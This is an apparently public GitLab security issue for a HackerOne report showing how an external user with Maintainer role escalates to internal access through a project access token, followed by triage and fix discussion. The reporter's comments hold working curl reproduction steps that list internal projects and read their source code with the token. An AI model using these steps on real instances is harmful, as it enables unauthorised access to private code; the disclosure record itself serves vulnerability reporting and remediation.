Closed Issue created 1 year ago by GitLab SecurityBot

Privilege escalation of "external user" (with maintainer privilege) to internal access through project token

HackerOne report #1193062 by `joaxcar` on 2021-05-12, assigned to @rchan-gitlab:

Report | How To Reproduce

Report

Summary

An "external user" (a user account with the status external) which is granted "Maintainer" role on any project on the GitLab instance where "project tokens" are allowed can elevate its privilege to "Internal". An external user with maintainer permissions could create a project token, which will be connected to a bot user with internal privileges on the GitLab instance. Thus, now being able to access all internal projects and snippets as a Guest user. This includes

- Accessing all information about internal projects as if having Guest permissions (including source code)
- Creating issues on internal projects
- Creating projects and groups (these will contain no members and thus be of little use)

An external user is by the documentation described as a way to let external contractors get access to limited parts of a GitLab instance link. Stating that

```
This feature may be useful when for example a contractor is working on a given project and should only have access to that
```

There are no warnings about giving an external user maintainer permissions. It is also possible for ANY internal user to elevate the external user to maintainer on any internal project created by that user. Thus, there is no need to ask an Admin for permission to do this. Thus, an external user (if not already granted maintainer on a project) only needs to convince one other user on the system to create a project and invite the external user as maintainer.

Steps to reproduce

1. Create a user with "external user" activated
2. Use any internal user to invite the "external user" as maintainer to a project
3. Login as the "external user" and create a project token on the project, save the token
4. Use the token to probe internal projects

```
curl --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects"
```

create groups

```
curl -X POST --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/groups?name=newg&path=newgroup"
```

create issues on internal projects

```
curl -X POST --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects/21/issues?title=iWasHere"
```

access source code

```
curl --header "Authorization: Bearer <TOKEN>" "https://gitlab.domain.com/api/v4/projects/19/repository/blobs/83d9398518bdf1
```

Impact

An external user can access all internal projects. Thus leading to severe information disclosure and ability to interact by issues.

What is the current *bug* behavior?

An external user with maintainer privileges to a project can create a project token which is connected to a Bot with internal access.

What is the expected *correct* behavior?

The bot should not have internal access to the GitLab instance. It is stated that

```
Project access tokens are scoped to a project and can be used to authenticate with the GitLab API.
```

link
Which makes it seam like the token does not have any permissions outside the project.
The bot should probably have "external privilege" as standard. At least an external user should not be able to use the bot to access internal projects.

Results of GitLab environment info

```
System information
System:
Current User:   gitlab
Using RVM:      no
Ruby Version:   3.0.1p64
Gem Version:    /usr/lib/ruby/2.7.0/bundler/spec_set.rb:86:in `block in materialize': Could not find rake-13.0.3 in any of
        from /usr/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `map!'
        from /usr/lib/ruby/2.7.0/bundler/spec_set.rb:80:in `materialize'
        from /usr/lib/ruby/2.7.0/bundler/definition.rb:170:in `specs'
        from /usr/lib/ruby/2.7.0/bundler/definition.rb:237:in `specs_for'
        from /usr/lib/ruby/2.7.0/bundler/definition.rb:226:in `requested_specs'
        from /usr/lib/ruby/2.7.0/bundler/runtime.rb:101:in `block in definition_method'
        from /usr/lib/ruby/2.7.0/bundler/runtime.rb:20:in `setup'
        from /usr/lib/ruby/2.7.0/bundler.rb:149:in `setup'
        from /usr/lib/ruby/2.7.0/bundler/setup.rb:20:in `block in <top (required)>'
        from /usr/lib/ruby/2.7.0/bundler/ui/shell.rb:136:in `with_level'
        from /usr/lib/ruby/2.7.0/bundler/ui/shell.rb:88:in `silence'
        from /usr/lib/ruby/2.7.0/bundler/setup.rb:20:in `<top (required)>'
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
Bundler Version:unknown
Rake Version:   13.0.3
Redis Version:  6.2.3
Git Version:    2.31.1
Sidekiq Version:5.2.9
Go Version:     go1.16.4 linux/amd64

GitLab information
Version:        13.10.4
Revision:       e11cc45d59e
Directory:      /usr/share/webapps/gitlab
DB Adapter:     PostgreSQL
DB Version:     13.2
URL:            http://gitlab.joaxcar.com
HTTP Clone URL: http://gitlab.joaxcar.com/some-group/some-project.git
SSH Clone URL:  gitlab@gitlab.joaxcar.com:some-group/some-project.git
Using LDAP:     no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:        13.17.0
Repository storage paths:
- default:      /var/lib/gitlab/repositories
GitLab Shell path:             /usr/share/webapps/gitlab-shell
Git:            /usr/bin/git
```

Impact

An external user can access all internal projects. Thus leading to severe information disclosure and ability to interact by issues.

The user can now

- Accessing all information about internal projects as if having Guest permissions (including source code)
- Creating issues on internal projects
- Creating projects and groups (these will contain no members and thus be of little use)

How To Reproduce

Please add reproducibility information to this section:

1.
2.
3.

Proposal

Scope the permission of the project access token to be an external access token.

All proposals considered

1. ~~Limit the creation of the project access token to limited set of users~~. #331473 (comment 580396051) (Considered too complex)
2. Scope the permission of the project access token to be an external access token. #331473 (comment 580396051)
3. ~~Prohibit external users from creating project tokens~~. #331473 (comment 627885698) (Leaves vulnerable tokens which we can't arbitrarily disable/delete)
4. ~~Prohibit external users to be promoted to Maintainers~~. #331473 (comment 627885698) (Leaves vulnerable tokens which we can't arbitrarily disable/delete)

Edited 1 year ago by Dan Jensen

Drag your designs here or click to upload.

Tasks 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 0

Link issues together to show that they're related or that one is blocking others. Learn more.

Activity

GitLab SecurityBot changed due date to August 18, 2021 1 year ago

GitLab SecurityBot added Weakness CAPEC-233 priority 3 severity 3 scoped labels 1 year ago

GitLab SecurityBot added HackerOne security labels 1 year ago

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter
HackerOne comment by `sodacan` :

Hi [@]joaxcar,

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Have a great day!

Kind regards, [@]sodacan

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter
HackerOne comment by `joaxcar` :

Hi [@]sodacan are there any problems with the report? If there is anything I can add to clear things up feel free to ask!

I can clarify a bit about the access granted: An external user can only see information about the specific project the user is a member of. There should be no problems adding an external user as a maintainer. There are very little(no) information on the external users profile informing other users that the user is external.

When a maintainer of a project the external user can now create a project access token which will grant: Maintainer access to the project (even if the external user is degraded or removed from the project) AND internal access to the GitLab instance which makes it possible for the external user to view all information on all projects which are open to internal users.

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter
HackerOne comment by `joaxcar` :

Thought that I should add that I now have another report (#1199561) which is related to this one. They do not completely overlap, so I added it as a separate report. If HackerOne or GitLab wants to merge them I could move the findings to one report.

The separation is that this report deals with an external user using a legitimate project access token to get internal access. The other one (#1199561) points out how a project access token can be used as a back door to the instance by a user getting removed from a project, blocked or deleted.

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter
HackerOne comment by `joaxcar` :

Hello again, dont want to spam you but I got a request on my other report to be more precise in the reproduction steps. Here is a step by step guide to reproduce the elevation of privilege using mostly curl commands. In this example I use an admin to generate a user and the access token for the user. If this was a real external user the user could create the access token from the UI

Steps too reproduce:

1. Log in as an administrator
2. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for the admin
3. Start up a terminal and create these to variables to be used in subsequent commands (replace url and <ADMIN_TOKEN>)

```
server_url='https://gitlab.domain.com'
admin_token='<ADMIN_TOKEN>'
```

4. Use the admin token to create an external user and make a note of the created users ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=External User" \
--data "username=external_user_01" \
--data "external=true" \
--data "skip_confirmation=true" \
--data "password=Safepass001" \
--data "email=external_user@example.com" \
"$server_url/api/v4/users"
```

5. Add a shell variable for external_user (replace ID)

```
external_user='<ID>'
```

6. Use the admin token to generate an access token for the external user

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=external_token" \
--data "scopes[]=api" \
"$server_url/api/v4/users/$external_user/personal_access_tokens"
```

7. Add a shell variable for external_token (replace <EXTERNAL_TOKEN>)

```
external_token='<EXTERNAL_TOKEN>'
```

8. Create our first internal project and take a note of the project ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=Internal project 1" \
```

```
--data "visibility=internal"  \
"$server_url/api/v4/projects"
```

9. Create our second internal project and take a note of the project ID

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=Internal project 2" \
--data "visibility=internal"  \
"$server_url/api/v4/projects"
```

10. Add shell variables for project 1 and 2 (replace and)

```
project_1='<ID1>'
project_2='<ID2>'
```

11. Add the external user as maintainer to internal project 1

```
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "user_id=$external_user&access_level=40" \
"$server_url/api/v4/projects/$project_1/members"
```

12. Request a list of internal projects using the external accounts access token. Verify that only project 1 is returned.

```
curl --request GET --header "PRIVATE-TOKEN: $external_token" \
"$server_url/api/v4/projects?visibility=internal"
```

13. Use external users access token to generate a project access token, take a note of the token

```
curl --request POST --header "PRIVATE-TOKEN: $external_token" \
--header "Content-Type:application/json" \
--data '{ "name":"attack_token", "scopes":["api"]}' \
"$server_url/api/v4/projects/$project_1/access_tokens"
```

14. Add a shell variable for project access token (replace <PROJECT_TOKEN>)

```
project_token='<PROJECT_TOKEN>'
```

15. Request a list of internal projects using the generated project accounts access token. Verify that all internal projects are now visible.

```
curl --request GET --header "PRIVATE-TOKEN: $project_token" \
"$server_url/api/v4/projects?visibility=internal"
```

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

HackerOne comment by `sodacan` :

Hi [@]joaxcar, Thanks for the requested updated information. The H1 team is taking a look at it now and will let you know if there are any questions or comments. Your input is appreciated. [@]sodacan

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

HackerOne comment by `sodacan` :

Hi [@]joaxcar, For using the curl command below to access source code where would the attacker obtain the blob UID?

curl --header "Authorization: Bearer "
"https://gitlab.domain.com/api/v4/projects/19/repository/blobs/83d9398518bdf1519b7b8fbbb3fa3e305a8554ef/raw"

[@]sodacan

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

HackerOne comment by `joaxcar` :

Hi thank you for looking through the report!

I could have been a bit clearer with the examples I guess. The token have access most of the API. So if there is a internal project with no other restrictions the token can be used in the following sequence:

1. List internal projects, and take a note of the ID of a project

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects?visibility=internal"
```

2. List the repository tree of the project

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects/15/repository/tree"
```

output will look like:

```
[
  {
    "id": "995aa640bef8ad391a5cd9f8ca82c9d481d34cbb",
    "name": "README.md",
    "type": "blob",
    "path": "README.md",
    "mode": "100644"
  }
]
```

3. Use the id of a blob in the request

```
curl --header "Authorization: Bearer TOKEN" "https://gitlab.domain.com/api/v4/projects/15/repository/blobs/995aa6
```

and get the output like

```
{
  "size": 11,
  "encoding": "base64",
  "content": "IyBNeSBwcm9qCgo=",
  "sha": "995aa640bef8ad391a5cd9f8ca82c9d481d34cbb"
}
```

(content is base64 of "# My proj" which is the content of the README)

Ron Chan @rchan-gitlab · 1 year ago Contributor

cc @lmcandrew @ogolowinski, this is a privilege escalation where an external user can use the access token of a project to get access to internal projects.

Maybe we can consider limiting the creation of the project access token to limited set of users only, or scope the permission of the project bot access token to be an external access token

Ron Chan added group::authentication and authorization devops::manage scoped labels 1 year ago

GitLab SecurityBot @gitlab-securitybot · 1 year ago Author Reporter

@ogolowinski @dennis @lmcandrew @rchan-gitlab This issue is ready for triage as per HackerOne process.

About this automation: AppSec Escalation Engine

Orit Golowinski @ogolowinski · 1 year ago Developer

I am currently placing this in candidate::14.2 since we are focusing on severity::2 security issues in the next few milestones

Ron Chan @rchan-gitlab · 1 year ago Contributor

Looks good to me @ogolowinski!

Liam McAndrew @lmcandrew · 1 year ago — Developer

@ogolowinski can you confirm why you picked this particular issue for candidate 14.2? i.e. is there a particular reason this is a higher priority than other severity 3 issues?

Orit Golowinski @ogolowinski · 1 year ago — Developer

@lmcandrew sure. This is a privilege escalation issue and its due date is Aug 18th. If there is a better candidate I am open to swap

Please register or sign in to reply

Orit Golowinski changed milestone to %14.2 1 year ago

Orit Golowinski added candidate 14.2 scoped label 1 year ago

Dennis Tang added backend label 1 year ago

GitLab Bot added Accepting merge requests label 1 year ago

GitLab Bot added section dev scoped label 1 year ago

Liam McAndrew added Category:User Management label 1 year ago

Orit Golowinski mentioned in issue gitlab-org/manage/general-discussion#17356 (closed) 1 year ago

Dan Jensen added workflow planning breakdown scoped label 1 year ago

Pavel Shutsin @pshutsin · 1 year ago — Maintainer

@djensen what's the expected solution here? Should we prohibit external users from creating project tokens? Should we prohibit external users to be promoted to Maintainers?

Dan Jensen @djensen · 1 year ago — Contributor

@pshutsin I like your idea to prohibit external users from creating project tokens, because it seems the simplest of the 4 proposals that have been made. I just set that as the proposal above. But there are definitely tradeoffs here, so I'd like to get confirmation from Product...

Dan Jensen @djensen · 1 year ago — Contributor

@lijlane do you agree with the proposal to prohibit external users from creating project tokens? There don't seem to be any hidden downsides here, just the obvious downside of limiting the ability of external users.

Dan Jensen @djensen · 1 year ago — Contributor

@pshutsin I just chatted with @lijlane about this. We realized that existing tokens would still be vulnerable. The only option that would not leave existing tokens vulnerable, and would not be too complicated, is "Scope the permission of the project access token to be an external access token." (I just updated proposals considered with the details.) What do you think of that proposal?

Larissa Lane @lijlane · 1 year ago — Contributor

@djensen I spent a bit more time reading up on this issue today. If I'm understanding https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#limiting-scopes-of-a-project-access-token correctly, project tokens should only have read-write access to the project in which they are created. If tokens can be used to get data about other projects, that seems like an unexpected behaviour that we should fix. If my understanding is correct, I don't think we need to change who can create a token or whether an external user can be a Maintainer, but rather we should limit the scope of tokens to only access data for the project in which they were created.

Edited by Larissa Lane 1 year ago

Dan Jensen @djensen · 1 year ago — Contributor

@lijlane thanks for taking a second look, I think you're exactly right. The reporter wrote, "An external user with maintainer permissions could create a project token ... now being able to access all internal projects and snippets as a Guest user." That doesn't make sense to me. It seems like a project token should only have access to a single project, by definition. So I agree, it seems like the solution is to limit the scope of Project Tokens to only access data for the project in which they were created 👍

Dan Jensen @djensen · 1 year ago — Contributor

@pshutsin do you agree with what @lijlane is proposing? ^

Pavel Shutsin @pshutsin · 1 year ago — Maintainer

@djensen @lijlane yes I think it is the right way to fix the problem.

It looks like project tokens were designed to have this flaw of not strictly limiting to a specific project. The way it works now is:

1. when user creates project new user "Project Bot" is created with maintainer access.
2. Then a personal access token is generated for "Project Bot" and returned to the user as "project access token".
3. Then any API call with project access token is treated as a call on behalf of "Project Bot" which is valid user so it has access as internal app user.

So I think we should split it into 2 issues:

1. Prohibit external users from creating project access tokens. (easy to fix)
2. Restrict project access tokens to be scoped strictly to related project. (complex to fix)

We can keep this particular issue to 1st solution only and create separate issue to address second point.

WDYT?

Edited by Pavel Shutsin 1 year ago

Larissa Lane @lijlane · 1 year ago — Contributor

Thanks for the proposal @pshutsin.

> Prohibit external users from creating project access tokens

This might need customer research before making this change because there may be organizations that want external users, such as contractors, to be able to create bots in projects. @mushakov do you have any insight on whether this is a requirement?

> Restrict project access tokens to be scoped strictly to related project. (complex to fix)

This is the way the user documentation currently describes access tokens. If tokens can actually be used to access data from other projects then this seems like a bug we can fix without validating with customers. Can you share more about the complexity of this fix @pshutsin? Do you have enough information to be able to estimate it?

Pavel Shutsin @pshutsin · 1 year ago — Maintainer

@lijlane

> Can you share more about the complexity of this fix @pshutsin? Do you have enough information to be able to estimate it?

The complexity is similar to rewriting project access tokens from scratch which is epic-sized feature.

Melissa Ushakov @mushakov · 1 year ago — Developer

@lijlane @pshutsin I think that preventing users that are external users from creating project access tokens is a reasonable alternative.

Another idea: Can we make it so that the user that is created for project access token purposes an external user? That would address the security issue.

Pavel Shutsin @pshutsin · 1 year ago — Maintainer

@mushakov

> Can we make it so that the user that is created for project access token purposes an external user? That would address the security issue.

Great idea, I'll check it.

Please register or sign in to reply

Dan Jensen changed the description 1 year ago

Pavel Shutsin changed weight to **1** 1 year ago

Pavel Shutsin added workflow::scheduling scoped label and automatically removed workflow::planning breakdown label 1 year ago

Dan Jensen assigned to @pshutsin 1 year ago

Dan Jensen added workflow::ready for development scoped label and automatically removed workflow::scheduling label 1 year ago

Dan Jensen changed the description 1 year ago ·

Dan Jensen added 1 deleted label 1 year ago

Dan Jensen added Epic 6340 label 1 year ago

GitLab Bot removed Accepting merge requests label 1 year ago

Pavel Shutsin added workflow::in dev scoped label and automatically removed workflow::ready for development label 1 year ago

Pavel Shutsin removed the weight 1 year ago

GitLab Bot @gitlab-bot · 1 year ago (Maintainer)
Setting label(s) Category:Authentication and Authorization based on --"group::access".

GitLab Bot added Category:Authentication and Authorization label 1 year ago

Julian Paul Dasmarinas @jdasmarinas · 1 year ago (Developer)
@pshutsin is there still a plan to split this into two issue?

We have a customer (internal) that is concerned that the project access token can access the other project's pipelines (and possible other data). They're mostly interested in:

> Restrict project access tokens to be scoped strictly to related project. (complex to fix)

Pavel Shutsin @pshutsin · 1 year ago (Maintainer)
@jdasmarinas can't see zendesk issue you've linked. I'm currently investigating an option to makr project access token users as `internal` users.

Julian Paul Dasmarinas @jdasmarinas · 1 year ago (Developer)
I'm not sure how that works, but just to verify, that will prevent project access tokens from accessing other internal project's data right?

Edited by Julian Paul Dasmarinas 1 year ago

Julian Paul Dasmarinas @jdasmarinas · 1 year ago (Developer)
@pshutsin just a follow up regarding this. The customer is mainly interested in restricting project access token so that it can only access data from the project it was generated on. The current behavior is that the project access token can access the data of the other project if the project's visibility level is set to **Internal**.

I believe what you are currently working on is for external users only?

Should I create a separate issue for this? Not sure if that was a bug we can count as a security issue 🤔

Pavel Shutsin @pshutsin · 1 year ago (Maintainer)
@jdasmarinas

> The customer is mainly interested in restricting project access token so that it can only access data from the project it was generated on. The current behavior is that the project access token can access the data of the other project if the project's visibility level is set to **Internal**.

I think we should create separate issue for it and i looks like a feature

This issue only addresses issue with `external` users being promoted to `internal` through project access token.

Please register or sign in to reply

Dan Jensen changed weight to **2** 1 year ago

Dan Jensen @djensen · 1 year ago (Contributor)
@pshutsin we were talking about the lack of documentation for external/internal users. For some reason it doesn't appear in the documentation search, but there's a section on external users. (Found this through an issue to clarify definitions of internal and external users.)

Pavel Shutsin @pshutsin · 1 year ago (Maintainer)
@ogolowinski this one might slip into %14.3 due to heavy DB migration discussion

Orit Golowinski @ogolowinski · 1 year ago (Developer)
Thanks for the update @pshutsin

Orit Golowinski @ogolowinski · 1 year ago (Developer)
Thanks for the update @pshutsin

Please register or sign in to reply

Michelle Gill added FY22 Q3 scoped label 1 year ago

Pavel Shutsin added workflow::in review scoped label and automatically removed workflow::in dev label 1 year ago

Dennis Tang changed health status to **at risk** 1 year ago

Pavel Shutsin changed milestone to %14.3 1 year ago

Rohit Shambhuni @rshambhuni · 1 year ago (Developer)
CVE requested - https://gitlab.com/gitlab-org/cves/-/issues/223

Pavel Shutsin added workflow::verification scoped label and automatically removed workflow::in review label 1 year ago

Pavel Shutsin closed 1 year ago

Pavel Shutsin removed workflow::verification priority::3 labels 1 year ago

GitLab SecurityBot @gitlab-securitybot · 1 year ago (Author) (Reporter)
This HackerOne security issue was closed 30 days ago and may become public.

Please ensure the following items are true and add a ✅ reaction:

- Issue description and comments do not contain sensitive data belonging to GitLab.
- Issue does not reveal private information of the reporter (i.e. session IDs, passwords).

If the issue needs to stay confidential, please add the keep confidential label.

If you removed confidential data from the issue description before making it public, make sure that the description history entry is deleted.

Costel Maxim @cmaxim · 1 year ago (Developer)
Removed the keep confidential flag.

Costel Maxim made the issue visible to everyone 1 year ago

GitLab SecurityBot @gitlab-securitybot · 1 year ago

Author Reporter

HackerOne report #1193062 was disclosed on 2021-10-11 @ 10:23.

- Bounty awarded: $1020

Please register or sign in to reply